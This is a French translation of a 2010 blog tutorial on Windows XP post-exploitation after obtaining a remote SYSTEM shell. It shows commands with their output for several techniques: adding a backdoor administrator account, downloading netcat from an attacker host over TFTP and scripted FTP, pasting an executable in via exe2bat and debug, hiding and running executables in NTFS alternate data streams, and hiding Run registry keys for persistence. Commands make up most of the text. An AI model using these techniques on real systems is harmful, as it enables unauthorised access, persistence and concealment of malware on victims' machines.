Ce billet n'avait été publié qu'en anglais. Nous l'avons traduit en 2026 pour que les archives se lisent dans les deux langues. Lire l'original →
Québec, 4 octobre 2010
- Auteur: Steven McElrea
- Courriel: loneferret @ gmail.com
Bon, vous venez d'obtenir un shell distant. Vous avez réussi à compromettre votre système cible… et maintenant? Eh bien, maintenant que vous avez un shell SYSTEM, une foule de commandes administratives sont à votre disposition. Ajouter des utilisateurs, des groupes, changer et extraire des mots de passe, installer des logiciels et diverses autres fonctions administratives. Un exemple simple de ce qu'un pirate malveillant pourrait faire, c'est créer un compte utilisateur avec des privilèges « administrator ».
C:\WINDOWS\system32>net user loneferret 123456 /add
net user loneferret 123456 /add
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators loneferret /add
net localgroup administrators loneferret /add
The command completed successfully.
C:\WINDOWS\system32>net usersv net users
User accounts for \\v -------------------------------------------------------------------------------
Administrator Guest HelpAssistant
loneferret SUPPORT_733745a0
C:\WINDOWS\system32>
Une fois votre shell distant obtenu, il y a quelques points à considérer. Vous êtes limité par le fait qu'il s'agit d'un « shell non interactif ». La façon la plus simple d'expliquer ce qu'est un shell non interactif, c'est probablement avec un exemple.
- 1: Ouvrez une invite DOS sur votre machine Windows XP. Tapez la commande « dir ». Cette commande est non interactive, puisqu'elle ne requiert aucune intervention de l'utilisateur pour accomplir sa tâche.
- 2: Toujours à partir d'une invite DOS, connectez-vous à un serveur FTP avec le client natif de Windows. Essayez de vous authentifier, puis quittez avec la commande « bye ».
Remarquez que le processus FTP s'est terminé correctement après l'envoi de la commande « bye ». Il s'agit d'un programme interactif qui requiert l'intervention de l'utilisateur pour fonctionner et se terminer correctement. La règle de base avec les shells non interactifs, c'est « Ne pas utiliser de programmes interactifs ». La sortie d'un programme interactif n'est souvent pas redirigée correctement vers le shell (le shell distant), et le plus souvent elle fera expirer ou déconnecter complètement le shell. Une bonne façon de tester cette théorie serait d'utiliser le programme FTP à partir d'un shell non interactif comme un shell distant.
Alors maintenant qu'on a éliminé les commandes qu'on peut et qu'on ne peut pas utiliser, passons aux activités qu'un attaquant malveillant pourrait et voudrait faire. À partir de notre shell de commande distant, l'étape logique suivante serait d'étendre notre attaque en téléversant des fichiers comme des enregistreurs de frappe, des exploits compilés, et les chevaux de Troie sont un bon point de départ. Le shell de commande nous offre plusieurs méthodes.
Utiliser TFTP
Un client de transfert de fichiers basé sur UDP est installé par défaut sur tous les systèmes Windows XP et est accessible en ligne de commande. On peut transférer des fichiers vers et depuis notre victime avec cette méthode. Vous avez d'abord besoin d'un serveur TFTP qui tourne quelque part et auquel vous avez accès (la mise en place d'un serveur TFTP dépasse le cadre de cet article). Ayez un fichier prêt et disponible à télécharger vers votre machine Windows. Une fois que tout est en place, téléchargeons notre fichier.
C:\WINDOWS\system32>tftp -i 192.168.0.100 GET nc.exe
tftp -i 192.168.0.100 GET nc.exe
Transfer successful: 59392 bytes in 5 seconds, 11878 bytes/s
C:\WINDOWS\system32>dir nc.exe
dir nc.exe
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\WINDOWS\system32
18/05/2010 06:49 AM 59,392 nc.exe
1 File(s) 59,392 bytes
0 Dir(s) 2,733,469,696 bytes free
C:\WINDOWS\system32>
Comme il s'agit d'un transfert UDP, il faut considérer quelques points. Premièrement, c'est instable, alors transférer de gros fichiers n'est pas une bonne idée. De plus, le plus souvent, le trafic UDP sortant est bloqué sur les pare-feu d'entreprise.
Ensuite, on a FTP
Dans notre exemple précédent sur le « shell non interactif », on a découvert que les programmes interactifs ne pouvaient pas être utilisés de manière fiable depuis un shell distant. Alors pourquoi envisager FTP? Eh bien, il peut être automatisé au moyen d'un fichier texte, ce qui l'utilise essentiellement comme un programme non interactif. En parcourant l'aide des commandes FTP, on trouve : -s:filename Specifies a text file containing FTP commands; the commands will automatically run after FTP starts.
Sur le shell de notre victime, il faut faire fonctionner notre client FTP uniquement avec des commandes non interactives.
C:\WINDOWS\system32>echo open 192.168.0.100 21> ftp.txt
C:\WINDOWS\system32>echo USER ftp >> ftp.txt
C:\WINDOWS\system32>echo PASS ftp >> ftp.txt
C:\WINDOWS\system32>echo bin >> ftp.txt
C:\WINDOWS\system32>echo GET nc.exe >> ftp.txt
C:\WINDOWS\system32>echo bye >> ftp.txt
Une fois notre fichier créé, lancer le client FTP avec l'option « -s » n'est plus considéré comme « interactif »
C:\WINDOWS\system32>ftp -s:ftp.txt
Une autre méthode, un peu plus étrange, consiste simplement à copier-coller votre fichier de la machine attaquante vers le shell distant. La méthode requiert l'outil MS-DOS « debug.exe » et « exe2bat.exe ».
Depuis la machine de l'attaquant, exécutez « exe2bat.exe » sur l'exécutable « netcat ».
bt tools # wine exe2bat.exe nc.exe nc.txt
Cette commande affichera le bytecode hexadécimal contenu dans « nc.exe » et l'enregistrera dans notre fichier texte. Il est conçu de telle sorte que vous pouvez simplement copier-coller son contenu dans le shell de la victime. Après quoi il suffit de le compiler avec l'outil MS-DOS « debug.exe » (qui n'est plus installé par défaut sur les machines Windows plus récentes).
ADS, ou les flux de données alternatifs NTFS
La possibilité de greffer des données dans des fichiers existants, sans en modifier la fonctionnalité ni la taille, est quelque chose qui peut être intéressant pour un attaquant. Conçue à l'origine pour la compatibilité avec le système de fichiers du Macintosh, cette capacité de NTFS peut aussi servir à cacher des fichiers malveillants sur la machine d'une victime. Voici un bel exemple :
C:\loneferret>dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\muts
18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:55p 59,392 nc.exe
1 File(s) 59,392 bytes
2 Dir(s) 3,114,639,360 bytes free
C:\loneferret>echo "hi, i am text in a text file" > loneferret.txt
C:\loneferret>dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\loneferret
18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:56p 33 loneferret.txt
18/05/2010 12:55p 59,392 nc.exe
2 File(s) 59,425 bytes
2 Dir(s) 3,114,639,360 bytes free
C:\loneferret>type nc.exe > loneferret.txt:nc.exe v
C:\ loneferret >del nc.exe
C:\ loneferret >dir
Volume in drive C has no label.
Volume Serial Number is A0EN-7337
Directory of C:\ loneferret
18/05/2010 12:56p DIR .
18/05/2010 12:56p DIR ..
18/05/2010 12:56p 33 loneferret.txt
1 File(s) 33 bytes
2 Dir(s) 3,114,639,360 bytes free
C:\loneferret>start ./loneferret.txt:nc.exe
C:\loneferret>
Comme vous pouvez le voir, la taille de notre fichier texte n'a pas changé et nous pouvons toujours exécuter « netcat ». Cacher des exécutables dans des fichiers texte est assez courant. Plusieurs chevaux de Troie comme Win32.Kido.ih utilisent des techniques similaires, mais au bout du compte, avoir des exécutables cachés dans des fichiers texte n'est jamais bon signe. Combiné à des clés de registre cachées, un pirate disposant d'un shell distant peut faire beaucoup de dégâts.
En parlant de clés de registre cachées…
Clés de registre cachées
L'éditeur de registre de Microsoft (2k-XP) a une faille de conception. Cette faille permet à un utilisateur de créer des entrées cachées (et utilisables) dans le registre d'une machine. Même aujourd'hui (au moment d'écrire cet article), une machine Windows XP entièrement à jour et corrigée présente toujours cette faille.
- 1: Exécutez Regedit32.exe et créez une nouvelle valeur de type chaîne dans :
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - 2: Remplissez cette clé avec une chaîne de 258 caractères.
- 3: Créez une autre valeur de type chaîne nommée « calc.exe » et assignez-lui la chaîne « calc.exe ». À ce stade, vous devriez avoir quelque chose qui ressemble à ceci :
- 4: Appuyez maintenant sur « F5 » pour rafraîchir et, si tout va bien, les deux clés disparaissent comme par magie.
- 5: Déconnectez-vous et reconnectez-vous, vous devriez obtenir une calculatrice. (vous pouvez retirer les clés depuis le shell de commande avec reg delete)
Pour résumer, obtenir un accès distant à un système c'est bien, mais savoir quoi faire ensuite est tout aussi important. Même si ces petits trucs sont vieux et inopérants sur la plupart des versions plus récentes de Windows (Windows Vista/7/2008), il reste vrai que beaucoup de systèmes tournent encore sur des systèmes d'exploitation basés sur Windows XP. Ces petits trucs pourraient justement vous aider à conserver votre accès distant après la phase d'exploitation. Ça donne aussi un bel aperçu de la façon dont les chevaux de Troie bas niveau les plus courants sont stockés sur un système.